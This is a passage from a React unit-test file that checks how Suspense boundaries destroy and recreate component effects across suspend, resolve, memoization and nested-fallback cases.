prop=\"Async\" />\n          <span prop=\"Inside:After\" />\n          <span prop=\"Outside\" />\n        </>,\n      );\n      await act(() => {\n        ReactNoop.render(null);\n      });\n      assertLog([\n        'App destroy layout',\n        'ClassText:Inside:Before componentWillUnmount',\n        'AsyncText:Async destroy layout',\n        'ClassText:Inside:After componentWillUnmount',\n        'ClassText:Outside componentWillUnmount',\n        'App destroy passive',\n        'AsyncText:Async destroy passive',\n      ]);\n    });\n\n    // @gate enableLegacyCache\n    it('should be destroyed and recreated when nested below host components', async () => {\n      function App({children = null}) {\n        Scheduler.log('App render');\n        React.useLayoutEffect(() => {\n          Scheduler.log('App create layout');\n          return () => {\n            Scheduler.log('App destroy layout');\n          };\n        }, []);\n        React.useEffect(() => {\n          Scheduler.log('App create passive');\n          return () => {\n            Scheduler.log('App destroy passive');\n          };\n        }, []);\n        return (\n          <Suspense fallback={<Text text=\"Fallback\" />}>\n            {children}\n            <Text text=\"Outer\">\n              <Text text=\"Inner\" />\n            </Text>\n          </Suspense>\n        );\n      }\n\n      // Mount\n      await act(() => {\n        ReactNoop.render(<App />);\n      });\n      assertLog([\n        'App render',\n        'Text:Outer render',\n        'Text:Inner render',\n        'Text:Inner create insertion',\n        'Text:Outer create insertion',\n        'Text:Inner create layout',\n        'Text:Outer create layout',\n        'App create layout',\n        'Text:Inner create passive',\n        'Text:Outer create passive',\n        'App create passive',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <span prop=\"Outer\">\n          <span prop=\"Inner\" />\n        </span>,\n      );\n\n      // Schedule an update that causes React to suspend.\n      await act(async () => {\n        ReactNoop.render(\n          <App>\n            <AsyncText text=\"Async\" />\n          </App>,\n        );\n        await waitFor([\n          'App render',\n          'Suspend:Async',\n          'Text:Fallback render',\n          'Text:Outer destroy layout',\n          'Text:Inner destroy layout',\n          'Text:Fallback create insertion',\n          'Text:Fallback create layout',\n        ]);\n        await waitForAll([\n          'Text:Fallback create passive',\n          // pre-warming\n          'Suspend:Async',\n          'Text:Outer render',\n          'Text:Inner render',\n        ]);\n        expect(ReactNoop).toMatchRenderedOutput(\n          <>\n            <span hidden={true} prop=\"Outer\">\n              <span prop=\"Inner\" />\n            </span>\n            <span prop=\"Fallback\" />\n          </>,\n        );\n      });\n\n      // Resolving the suspended resource should re-create inner layout effects.\n      await act(async () => {\n        await resolveText('Async');\n      });\n      assertLog([\n        'AsyncText:Async render',\n        'Text:Outer render',\n        'Text:Inner render',\n        'Text:Fallback destroy insertion',\n        'Text:Fallback destroy layout',\n        'AsyncText:Async create layout',\n        'Text:Inner create layout',\n        'Text:Outer create layout',\n        'Text:Fallback destroy passive',\n        'AsyncText:Async create passive',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"Async\" />\n          <span prop=\"Outer\">\n            <span prop=\"Inner\" />\n          </span>\n        </>,\n      );\n\n      await act(() => {\n        ReactNoop.render(null);\n      });\n      assertLog([\n        'App destroy layout',\n        'AsyncText:Async destroy layout',\n        'Text:Outer destroy insertion',\n        'Text:Outer destroy layout',\n        'Text:Inner destroy insertion',\n        'Text:Inner destroy layout',\n        'App destroy passive',\n        'AsyncText:Async destroy passive',\n        'Text:Outer destroy passive',\n        'Text:Inner destroy passive',\n      ]);\n    });\n\n    // @gate enableLegacyCache\n    it('should be destroyed and recreated even if there is a bailout because of memoization', async () => {\n      const MemoizedText = React.memo(Text, () => true);\n\n      function App({children = null}) {\n        Scheduler.log('App render');\n        React.useLayoutEffect(() => {\n          Scheduler.log('App create layout');\n          return () => {\n            Scheduler.log('App destroy layout');\n          };\n        }, []);\n        React.useEffect(() => {\n          Scheduler.log('App create passive');\n          return () => {\n            Scheduler.log('App destroy passive');\n          };\n        }, []);\n        return (\n          <Suspense fallback={<Text text=\"Fallback\" />}>\n            {children}\n            <Text text=\"Outer\">\n              <MemoizedText text=\"MemoizedInner\" />\n            </Text>\n          </Suspense>\n        );\n      }\n\n      // Mount\n      await act(() => {\n        ReactNoop.render(<App />);\n      });\n      assertLog([\n        'App render',\n        'Text:Outer render',\n        'Text:MemoizedInner render',\n        'Text:MemoizedInner create insertion',\n        'Text:Outer create insertion',\n        'Text:MemoizedInner create layout',\n        'Text:Outer create layout',\n        'App create layout',\n        'Text:MemoizedInner create passive',\n        'Text:Outer create passive',\n        'App create passive',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <span prop=\"Outer\">\n          <span prop=\"MemoizedInner\" />\n        </span>,\n      );\n\n      // Schedule an update that causes React to suspend.\n      await act(async () => {\n        ReactNoop.render(\n          <App>\n            <AsyncText text=\"Async\" />\n          </App>,\n        );\n        await waitFor([\n          'App render',\n          'Suspend:Async',\n          // Text:MemoizedInner is memoized\n          'Text:Fallback render',\n          'Text:Outer destroy layout',\n          'Text:MemoizedInner destroy layout',\n          'Text:Fallback create insertion',\n          'Text:Fallback create layout',\n        ]);\n        await waitForAll([\n          'Text:Fallback create passive',\n          // pre-warming\n          'Suspend:Async',\n          'Text:Outer render',\n        ]);\n        expect(ReactNoop).toMatchRenderedOutput(\n          <>\n            <span hidden={true} prop=\"Outer\">\n              <span prop=\"MemoizedInner\" />\n            </span>\n            <span prop=\"Fallback\" />\n          </>,\n        );\n      });\n\n      // Resolving the suspended resource should re-create inner layout effects.\n      await act(async () => {\n        await resolveText('Async');\n      });\n      assertLog([\n        'AsyncText:Async render',\n        'Text:Outer render',\n        'Text:Fallback destroy insertion',\n        'Text:Fallback destroy layout',\n        'AsyncText:Async create layout',\n        'Text:MemoizedInner create layout',\n        'Text:Outer create layout',\n        'Text:Fallback destroy passive',\n        'AsyncText:Async create passive',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"Async\" />\n          <span prop=\"Outer\">\n            <span prop=\"MemoizedInner\" />\n          </span>\n        </>,\n      );\n\n      await act(() => {\n        ReactNoop.render(null);\n      });\n      assertLog([\n        'App destroy layout',\n        'AsyncText:Async destroy layout',\n        'Text:Outer destroy insertion',\n        'Text:Outer destroy layout',\n        'Text:MemoizedInner destroy insertion',\n        'Text:MemoizedInner destroy layout',\n        'App destroy passive',\n        'AsyncText:Async destroy passive',\n        'Text:Outer destroy passive',\n        'Text:MemoizedInner destroy passive',\n      ]);\n    });\n\n    // @gate enableLegacyCache\n    it('should respect nested suspense boundaries', async () => {\n      function App({innerChildren = null, outerChildren = null}) {\n        return (\n          <Suspense fallback={<Text text=\"OuterFallback\" />}>\n            <Text text=\"Outer\" />\n            {outerChildren}\n            <Suspense fallback={<Text text=\"InnerFallback\" />}>\n              <Text text=\"Inner\" />\n              {innerChildren}\n            </Suspense>\n          </Suspense>\n        );\n      }\n\n      // Mount\n      await act(() => {\n        ReactNoop.render(<App />);\n      });\n      assertLog([\n        'Text:Outer render',\n        'Text:Inner render',\n        'Text:Outer create insertion',\n        'Text:Inner create insertion',\n        'Text:Outer create layout',\n        'Text:Inner create layout',\n        'Text:Outer create passive',\n        'Text:Inner create passive',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"Outer\" />\n          <span prop=\"Inner\" />\n        </>,\n      );\n\n      // Suspend the inner Suspense subtree (only inner effects should be destroyed)\n      await act(() => {\n        ReactNoop.render(\n          <App innerChildren={<AsyncText text=\"InnerAsync_1\" />} />,\n        );\n      });\n      assertLog([\n        'Text:Outer render',\n        'Text:Inner render',\n        'Suspend:InnerAsync_1',\n        'Text:InnerFallback render',\n        'Text:Inner destroy layout',\n        'Text:InnerFallback create insertion',\n        'Text:InnerFallback create layout',\n        'Text:InnerFallback create passive',\n        // pre-warming\n        'Text:Inner render',\n        'Suspend:InnerAsync_1',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"Outer\" />\n          <span prop=\"Inner\" hidden={true} />\n          <span prop=\"InnerFallback\" />\n        </>,\n      );\n\n      // Suspend the outer Suspense subtree (outer effects and inner fallback effects should be destroyed)\n      // (This check also ensures we don't destroy effects for mounted inner fallback.)\n      await act(() => {\n        ReactNoop.render(\n          <App\n            outerChildren={<AsyncText text=\"OuterAsync_1\" />}\n            innerChildren={<AsyncText text=\"InnerAsync_1\" />}\n          />,\n        );\n      });\n      await advanceTimers(1000);\n      assertLog([\n        'Text:Outer render',\n        'Suspend:OuterAsync_1',\n        'Text:OuterFallback render',\n        'Text:Outer destroy layout',\n        'Text:InnerFallback destroy layout',\n        'Text:OuterFallback create insertion',\n        'Text:OuterFallback create layout',\n        'Text:OuterFallback create passive',\n        // pre-warming\n        'Text:Outer render',\n        'Suspend:OuterAsync_1',\n        'Text:Inner render',\n        'Suspend:InnerAsync_1',\n        'Text:InnerFallback render',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"Outer\" hidden={true} />\n          <span prop=\"Inner\" hidden={true} />\n          <span prop=\"InnerFallback\" hidden={true} />\n          <span prop=\"OuterFallback\" />\n        </>,\n      );\n\n      // Show the inner Suspense subtree (no effects should be recreated)\n      await act(async () => {\n        await resolveText('InnerAsync_1');\n      });\n      assertLog([\n        'Text:Outer render',\n        'Suspend:OuterAsync_1',\n        // pre-warming\n        'Text:Outer render',\n        'Suspend:OuterAsync_1',\n        'Text:Inner render',\n        'AsyncText:InnerAsync_1 render',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"Outer\" hidden={true} />\n          <span prop=\"Inner\" hidden={true} />\n          <span prop=\"InnerFallback\" hidden={true} />\n          <span prop=\"OuterFallback\" />\n        </>,\n      );\n\n      // Suspend the inner Suspense subtree (no effects should be destroyed)\n      await act(() => {\n        ReactNoop.render(\n          <App\n            outerChildren={<AsyncText text=\"OuterAsync_1\" />}\n            innerChildren={<AsyncText text=\"InnerAsync_2\" />}\n          />,\n        );\n      });\n      await advanceTimers(1000);\n      assertLog([\n        'Text:Outer render',\n        'Suspend:OuterAsync_1',\n        'Text:OuterFallback render',\n        // pre-warming\n        'Text:Outer render',\n        'Suspend:OuterAsync_1',\n        'Text:Inner render',\n        'Suspend:InnerAsync_2',\n        'Text:InnerFallback render',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"Outer\" hidden={true} />\n          <span prop=\"Inner\" hidden={true} />\n          <span prop=\"InnerFallback\" hidden={true} />\n          <span prop=\"OuterFallback\" />\n        </>,\n      );\n\n      // Show the outer Suspense subtree (only outer effects should be recreated)\n      await act(async () => {\n        await resolveText('OuterAsync_1');\n      });\n      assertLog([\n        'Text:Outer render',\n        'AsyncText:OuterAsync_1 render',\n        'Text:Inner render',\n        'Suspend:InnerAsync_2',\n        'Text:InnerFallback render',\n        'Text:OuterFallback destroy insertion',\n        'Text:OuterFallback destroy layout',\n        'Text:Outer create layout',\n        'AsyncText:OuterAsync_1 create layout',\n        'Text:InnerFallback create layout',\n        'Text:OuterFallback destroy passive',\n        'AsyncText:OuterAsync_1 create passive',\n        // pre-warming\n        'Text:Inner render',\n        'Suspend:InnerAsync_2',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"Outer\" />\n          <span prop=\"OuterAsync_1\" />\n          <span prop=\"Inner\" hidden={true} />\n          <span prop=\"InnerFallback\" />\n        </>,\n      );\n\n      // Show the inner Suspense subtree (only inner effects should be recreated)\n      await act(async () => {\n        await resolveText('InnerAsync_2');\n      });\n      assertLog([\n        'Text:Inner render',\n        'AsyncText:InnerAsync_2 render',\n        'Text:InnerFallback destroy insertion',\n        'Text:InnerFallback destroy layout',\n        'Text:Inner create layout',\n        'AsyncText:InnerAsync_2 create layout',\n        'Text:InnerFallback destroy passive',\n        'AsyncText:InnerAsync_2 create passive',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"Outer\" />\n          <span prop=\"OuterAsync_1\" />\n          <span prop=\"Inner\" />\n          <span prop=\"InnerAsync_2\" />\n        </>,\n      );\n\n      // Suspend the outer Suspense subtree (all effects should be destroyed)\n      await act(() => {\n        ReactNoop.render(\n          <App\n            outerChildren={<AsyncText text=\"OuterAsync_2\" />}\n            innerChildren={<AsyncText text=\"InnerAsync_2\" />}\n          />,\n        );\n      });\n      assertLog([\n        'Text:Outer render',\n        'Suspend:OuterAsync_2',\n        'Text:OuterFallback render',\n        'Text:Outer destroy layout',\n        'AsyncText:OuterAsync_1 destroy layout',\n        'Text:Inner destroy layout',\n        'AsyncText:InnerAsync_2 destroy layout',\n        'Text:OuterFallback create insertion',\n        'Text:OuterFallback create layout',\n        'Text:OuterFallback create passive',\n        // pre-warming\n        'Text:Outer render',\n        'Suspend:OuterAsync_2',\n        'Text:Inner render',\n        'AsyncText:InnerAsync_2 render',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"Outer\" hidden={true} />\n          <span prop=\"OuterAsync_1\" hidden={true} />\n          <span prop=\"Inner\" hidden={true} />\n          <span prop=\"InnerAsync_2\" hidden={true} />\n          <span prop=\"OuterFallback\" />\n        </>,\n      );\n\n      // Show the outer Suspense subtree (all effects should be recreated)\n      await act(async () => {\n        await resolveText('OuterAsync_2');\n      });\n      assertLog([\n        'Text:Outer render',\n        'AsyncText:OuterAsync_2 render',\n        'Text:Inner render',\n        'AsyncText:InnerAsync_2 render',\n        'Text:OuterFallback destroy insertion',\n        'Text:OuterFallback destroy layout',\n        'Text:Outer create layout',\n        'AsyncText:OuterAsync_2 create layout',\n        'Text:Inner create layout',\n        'AsyncText:InnerAsync_2 create layout',\n        'Text:OuterFallback destroy passive',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"Outer\" />\n          <span prop=\"OuterAsync_2\" />\n          <span prop=\"Inner\" />\n          <span prop=\"InnerAsync_2\" />\n        </>,\n      );\n    });\n\n    // @gate enableLegacyCache\n    it('should wait to reveal an inner child when inner one reveals first', async () => {\n      function App({outerChildren, innerChildren}) {\n        return (\n          <Suspense fallback={<Text text=\"OuterFallback\" />} name=\"Outer\">\n            <Suspense fallback={<Text text=\"InnerFallback\" />} name=\"Inner\">\n              <div>{innerChildren}</div>\n            </Suspense>\n            {outerChildren}\n          </Suspense>\n        );\n      }\n\n      // Mount\n      await act(() => {\n        ReactNoop.render(<App />);\n      });\n      assertLog([]);\n      expect(ReactNoop).toMatchRenderedOutput(<div />);\n\n      // Resuspend inner boundary\n      await act(() => {\n        ReactNoop.render(\n          <App\n            outerChildren={null}\n            innerChildren={<AsyncText text=\"InnerAsync\" />}\n          />,\n        );\n      });\n      assertLog([\n        'Suspend:InnerAsync',\n        'Text:InnerFallback render',\n        'Text:InnerFallback create insertion',\n        'Text:InnerFallback create layout',\n        'Text:InnerFallback create passive',\n        'Suspend:InnerAsync',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <div hidden={true} />\n          <span prop=\"InnerFallback\" />\n        </>,\n      );\n\n      // Resuspend both boundaries\n      await act(() => {\n        ReactNoop.render(\n          <App\n            outerChildren={<AsyncText text=\"OuterAsync\" />}\n            innerChildren={<AsyncText text=\"InnerAsync\" />}\n          />,\n        );\n      });\n      assertLog([\n        'Suspend:InnerAsync',\n        'Text:InnerFallback render',\n        'Suspend:OuterAsync',\n        'Text:OuterFallback render',\n        'Text:InnerFallback destroy layout',\n        'Text:OuterFallback create insertion',\n        'Text:OuterFallback create layout',\n        'Text:OuterFallback create passive',\n        'Suspend:InnerAsync',\n        'Text:InnerFallback render',\n        'Suspend:OuterAsync',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <div hidden={true} />\n          <span prop=\"InnerFallback\" hidden={true} />\n          <span prop=\"OuterFallback\" />\n        </>,\n      );\n\n      // Unsuspend the inner Suspense subtree only\n      // Interestingly, this never commits because the tree is left suspended.\n      // If it did commit, it would potentially cause the div to incorrectly reappear.\n      await act(() => {\n        ReactNoop.render(\n          <App\n            outerChildren={<AsyncText text=\"OuterAsync\" />}\n            innerChildren={null}\n          />,\n        );\n      });\n      assertLog([\n        'Suspend:OuterAsync',\n        'Text:OuterFallback render',\n        'Suspend:OuterAsync',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <div hidden={true} />\n          <span prop=\"InnerFallback\" hidden={true} />\n          <span prop=\"OuterFallback\" />\n        </>,\n      );\n    });\n\n    // @gate enableLegacyCache\n    it('should show nested host nodes if multiple boundaries resolve at the same time', async () => {\n      function App({innerChildren = null, outerChildren = null}) {\n        return (\n          <Suspense fallback={<Text text=\"OuterFallback\" />}>\n            <Text text=\"Outer\" />\n            {outerChildren}\n            <Suspense fallback={<Text text=\"InnerFallback\" />}>\n              <Text text=\"Inner\" />\n              {innerChildren}\n            </Suspense>\n          </Suspense>\n        );\n      }\n\n      // Mount\n      await act(() => {\n        ReactNoop.render(<App />);\n      });\n      assertLog([\n        'Text:Outer render',\n        'Text:Inner render',\n        'Text:Outer create insertion',\n        'Text:Inner create insertion',\n        'Text:Outer create layout',\n        'Text:Inner create layout',\n        'Text:Outer create passive',\n        'Text:Inner create passive',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"Outer\" />\n          <span prop=\"Inner\" />\n        </>,\n      );\n\n      // Suspend the inner Suspense subtree (only inner effects should be destroyed)\n      await act(() => {\n        ReactNoop.render(\n          <App innerChildren={<AsyncText text=\"InnerAsync_1\" />} />,\n        );\n      });\n      assertLog([\n        'Text:Outer render',\n        'Text:Inner render',\n        'Suspend:InnerAsync_1',\n        'Text:InnerFallback render',\n        'Text:Inner destroy layout',\n        'Text:InnerFallback create insertion',\n        'Text:InnerFallback create layout',\n        'Text:InnerFallback create passive',\n        // pre-warming\n        'Text:Inner render',\n        'Suspend:InnerAsync_1',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"Outer\" />\n          <span prop=\"Inner\" hidden={true} />\n          <span prop=\"InnerFallback\" />\n        </>,\n      );\n\n      // Suspend the outer Suspense subtree (outer effects and inner fallback effects should be destroyed)\n      // (This check also ensures we don't destroy effects for mounted inner fallback.)\n      await act(() => {\n        ReactNoop.render(\n          <App\n            outerChildren={<AsyncText text=\"OuterAsync_1\" />}\n            innerChildren={<AsyncText text=\"InnerAsync_1\" />}\n          />,\n        );\n      });\n      assertLog([\n        'Text:Outer render',\n        'Suspend:OuterAsync_1',\n        'Text:OuterFallback render',\n        'Text:Outer destroy layout',\n        'Text:InnerFallback destroy layout',\n        'Text:OuterFallback create insertion',\n        'Text:OuterFallback create layout',\n        'Text:OuterFallback create passive',\n        // pre-warming\n        'Text:Outer render',\n        'Suspend:OuterAsync_1',\n        'Text:Inner render',\n        'Suspend:InnerAsync_1',\n        'Text:InnerFallback render',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"Outer\" hidden={true} />\n          <span prop=\"Inner\" hidden={true} />\n          <span prop=\"InnerFallback\" hidden={true} />\n          <span prop=\"OuterFallback\" />\n        </>,\n      );\n\n      // Resolve both suspended trees.\n      await act(async () => {\n        await resolveText('OuterAsync_1');\n        await resolveText('InnerAsync_1');\n      });\n      assertLog([\n        'Text:Outer render',\n        'AsyncText:OuterAsync_1 render',\n        'Text:Inner render',\n        'AsyncText:InnerAsync_1 render',\n        'Text:OuterFallback destroy insertion',\n        'Text:OuterFallback destroy layout',\n        'Text:InnerFallback destroy insertion',\n        'Text:Outer create layout',\n        'AsyncText:OuterAsync_1 create layout',\n        'Text:Inner create layout',\n        'AsyncText:InnerAsync_1 create layout',\n        'Text:OuterFallback destroy passive',\n        'Text:InnerFallback destroy passive',\n        'AsyncText:OuterAsync_1 create passive',\n        'AsyncText:InnerAsync_1 create passive',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"Outer\" />\n          <span prop=\"OuterAsync_1\" />\n          <span prop=\"Inner\" />\n          <span prop=\"InnerAsync_1\" />\n        </>,\n      );\n    });\n\n    // @gate enableLegacyCache\n    it('should be cleaned up inside of a fallback that suspends', async () => {\n      function App({fallbackChildren = null, outerChildren = null}) {\n        return (\n          <>\n            <Suspense\n              fallback={\n                <>\n                  <Suspense fallback={<Text text=\"Fallback:Fallback\" />}>\n                    <Text text=\"Fallback:Inside\" />\n                    {fallbackChildren}\n                  </Suspense>\n                  <Text text=\"Fallback:Outside\" />\n                </>\n              }>\n              <Text text=\"Inside\" />\n              {outerChildren}\n            </Suspense>\n            <Text text=\"Outside\" />\n          </>\n        );\n      }\n\n      // Mount\n      await act(() => {\n        ReactNoop.render(<App />);\n      });\n      assertLog([\n        'Text:Inside render',\n        'Text:Outside render',\n        'Text:Inside create insertion',\n        'Text:Outside create insertion',\n        'Text:Inside create layout',\n        'Text:Outside create layout',\n        'Text:Inside create passive',\n        'Text:Outside create passive',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"Inside\" />\n          <span prop=\"Outside\" />\n        </>,\n      );\n\n      // Suspend the outer shell\n      await act(async () => {\n        ReactNoop.render(\n          <App outerChildren={<AsyncText text=\"OutsideAsync\" />} />,\n        );\n        await waitFor([\n          'Text:Inside render',\n          'Suspend:OutsideAsync',\n          'Text:Fallback:Inside render',\n          'Text:Fallback:Outside render',\n          'Text:Outside render',\n          'Text:Inside destroy layout',\n          'Text:Fallback:Inside create insertion',\n          'Text:Fallback:Outside create insertion',\n          'Text:Fallback:Inside create layout',\n          'Text:Fallback:Outside create layout',\n        ]);\n        await waitForAll([\n          'Text:Fallback:Inside create passive',\n          'Text:Fallback:Outside create passive',\n          // pre-warming\n          'Text:Inside render',\n          'Suspend:OutsideAsync',\n        ]);\n        expect(ReactNoop).toMatchRenderedOutput(\n          <>\n            <span prop=\"Inside\" hidden={true} />\n            <span prop=\"Fallback:Inside\" />\n            <span prop=\"Fallback:Outside\" />\n            <span prop=\"Outside\" />\n          </>,\n        );\n      });\n\n      // Suspend the fallback and verify that it's effects get cleaned up as well\n      await act(async () => {\n        ReactNoop.render(\n          <App\n            fallbackChildren={<AsyncText text=\"FallbackAsync\" />}\n            outerChildren={<AsyncText text=\"OutsideAsync\" />}\n          />,\n        );\n        await waitFor([\n          'Text:Inside render',\n          'Suspend:OutsideAsync',\n          'Text:Fallback:Inside render',\n          'Suspend:FallbackAsync',\n          'Text:Fallback:Fallback render',\n          'Text:Fallback:Outside render',\n          'Text:Outside render',\n          'Text:Fallback:Inside destroy layout',\n          'Text:Fallback:Fallback create insertion',\n          'Text:Fallback:Fallback create layout',\n        ]);\n        await waitForAll([\n          'Text:Fallback:Fallback create passive',\n          // pre-warming\n          'Text:Inside render',\n          'Suspend:OutsideAsync',\n          'Text:Fallback:Inside render',\n          'Suspend:FallbackAsync',\n        ]);\n        expect(ReactNoop).toMatchRenderedOutput(\n          <>\n            <span prop=\"Inside\" hidden={true} />\n            <span prop=\"Fallback:Inside\" hidden={true} />\n            <span prop=\"Fallback:Fallback\" />\n            <span prop=\"Fallback:Outside\" />\n            <span prop=\"Outside\" />\n          </>,\n        );\n      });\n\n      // Resolving both resources should cleanup fallback effects and recreate main effects\n      await act(async () => {\n        await resolveText('FallbackAsync');\n        await resolveText('OutsideAsync');\n      });\n      assertLog([\n        'Text:Inside render',\n        'AsyncText:OutsideAsync render',\n        'Text:Fallback:Inside destroy insertion',\n        'Text:Fallback:Fallback destroy insertion',\n        'Text:Fallback:Fallback destroy layout',\n        'Text:Fallback:Outside destroy insertion',\n        'Text:Fallback:Outside destroy layout',\n        'Text:Inside create layout',\n        'AsyncText:OutsideAsync create layout',\n        'Text:Fallback:Inside destroy passive',\n        'Text:Fallback:Fallback destroy passive',\n        'Text:Fallback:Outside destroy passive',\n        'AsyncText:OutsideAsync create passive',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"Inside\" />\n          <span prop=\"OutsideAsync\" />\n          <span prop=\"Outside\" />\n        </>,\n      );\n    });\n\n    // @gate enableLegacyCache\n    it('should be cleaned up inside of a fallback that suspends (alternate)', async () => {\n      function App({fallbackChildren = null, outerChildren = null}) {\n        return (\n          <>\n            <Suspense\n              fallback={\n                <>\n                  <Suspense fallback={<Text text=\"Fallback:Fallback\" />}>\n                    <Text text=\"Fallback:Inside\" />\n                    {fallbackChildren}\n                  </Suspense>\n                  <Text text=\"Fallback:Outside\" />\n                </>\n              }>\n              <Text text=\"Inside\" />\n              {outerChildren}\n            </Suspense>\n            <Text text=\"Outside\" />\n          </>\n        );\n      }\n\n      // Mount\n      await act(() => {\n        ReactNoop.render(<App />);\n      });\n      assertLog([\n        'Text:Inside render',\n        'Text:Outside render',\n        'Text:Inside create insertion',\n        'Text:Outside create insertion',\n        'Text:Inside create layout',\n        'Text:Outside create layout',\n        'Text:Inside create passive',\n        'Text:Outside create passive',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"Inside\" />\n          <span prop=\"Outside\" />\n        </>,\n      );\n\n      // Suspend both the outer boundary and the fallback\n      await act(() => {\n        ReactNoop.render(\n          <App\n            outerChildren={<AsyncText text=\"OutsideAsync\" />}\n            fallbackChildren={<AsyncText text=\"FallbackAsync\" />}\n          />,\n        );\n      });\n      assertLog([\n        'Text:Inside render',\n        'Suspend:OutsideAsync',\n        'Text:Fallback:Inside render',\n        'Suspend:FallbackAsync',\n        'Text:Fallback:Fallback render',\n        'Text:Fallback:Outside render',\n        'Text:Outside render',\n        'Text:Inside destroy layout',\n        'Text:Fallback:Fallback create insertion',\n        'Text:Fallback:Outside create insertion',\n        'Text:Fallback:Fallback create layout',\n        'Text:Fallback:Outside create layout',\n        'Text:Fallback:Fallback create passive',\n        'Text:Fallback:Outside create passive',\n        // pre-warming\n        'Text:Inside render',\n        'Suspend:OutsideAsync',\n        'Text:Fallback:Inside render',\n        'Suspend:FallbackAsync',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"Inside\" hidden={true} />\n          <span prop=\"Fallback:Fallback\" />\n          <span prop=\"Fallback:Outside\" />\n          <span prop=\"Outside\" />\n        </>,\n      );\n\n      // Resolving the inside fallback\n      await act(async () => {\n        await resolveText('FallbackAsync');\n      });\n      assertLog([\n        'Text:Fallback:Inside render',\n        'AsyncText:FallbackAsync render',\n        'Text:Fallback:Fallback destroy insertion',\n        'Text:Fallback:Fallback destroy layout',\n        'Text:Fallback:Inside create insertion',\n        'Text:Fallback:Inside create layout',\n        'AsyncText:FallbackAsync create layout',\n        'Text:Fallback:Fallback destroy passive',\n        'Text:Fallback:Inside create passive',\n        'AsyncText:FallbackAsync create passive',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"Inside\" hidden={true} />\n          <span prop=\"Fallback:Inside\" />\n          <span prop=\"FallbackAsync\" />\n          <span prop=\"Fallback:Outside\" />\n          <span prop=\"Outside\" />\n        </>,\n      );\n\n      // Resolving the outer fallback only\n      await act(async () => {\n        await resolveText('OutsideAsync');\n      });\n      assertLog([\n        'Text:Inside render',\n        'AsyncText:OutsideAsync render',\n        'Text:Fallback:Inside destroy insertion',\n        'Text:Fallback:Inside destroy layout',\n        'AsyncText:FallbackAsync destroy layout',\n        'Text:Fallback:Outside destroy insertion',\n        'Text:Fallback:Outside destroy layout',\n        'Text:Inside create layout',\n        'AsyncText:OutsideAsync create layout',\n        'Text:Fallback:Inside destroy passive',\n        'AsyncText:FallbackAsync destroy passive',\n        'Text:Fallback:Outside destroy passive',\n        'AsyncText:OutsideAsync create passive',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"Inside\" />\n          <span prop=\"OutsideAsync\" />\n          <span prop=\"Outside\" />\n        </>,\n      );\n    });\n\n    // @gate enableLegacyCache\n    it('should be cleaned up deeper inside of a subtree that suspends', async () => {\n      function ConditionalSuspense({shouldSuspend}) {\n        if (shouldSuspend) {\n          readText('Suspend');\n        }\n        return <Text text=\"Inside\" />;\n      }\n\n      function App({children = null, shouldSuspend}) {\n        return (\n          <>\n            <Suspense fallback={<Text text=\"Fallback\" />}>\n              <ConditionalSuspense shouldSuspend={shouldSuspend} />\n            </Suspense>\n            <Text text=\"Outside\" />\n          </>\n        );\n      }\n\n      // Mount\n      await act(() => {\n        ReactNoop.render(<App shouldSuspend={false} />);\n      });\n      assertLog([\n        'Text:Inside render',\n        'Text:Outside render',\n        'Text:Inside create insertion',\n        'Text:Outside create insertion',\n        'Text:Inside create layout',\n        'Text:Outside create layout',\n        'Text:Inside create passive',\n        'Text:Outside create passive',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"Inside\" />\n          <span prop=\"Outside\" />\n        </>,\n      );\n\n      // Suspending a component in the middle of the tree\n      // should still properly cleanup effects deeper in the tree\n      await act(async () => {\n        ReactNoop.render(<App shouldSuspend={true} />);\n        await waitFor([\n          'Suspend:Suspend',\n          'Text:Fallback render',\n          'Text:Outside render',\n          'Text:Inside destroy layout',\n          'Text:Fallback create insertion',\n          'Text:Fallback create layout',\n        ]);\n        await waitForAll([\n          'Text:Fallback create passive',\n          // pre-warming\n          'Suspend:Suspend',\n        ]);\n        expect(ReactNoop).toMatchRenderedOutput(\n          <>\n            <span prop=\"Inside\" hidden={true} />\n            <span prop=\"Fallback\" />\n            <span prop=\"Outside\" />\n          </>,\n        );\n      });\n\n      // Resolving should cleanup.\n      await act(async () => {\n        await resolveText('Suspend');\n      });\n      assertLog([\n        'Text:Inside render',\n        'Text:Fallback destroy insertion',\n        'Text:Fallback destroy layout',\n        'Text:Inside create layout',\n        'Text:Fallback destroy passive',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(\n        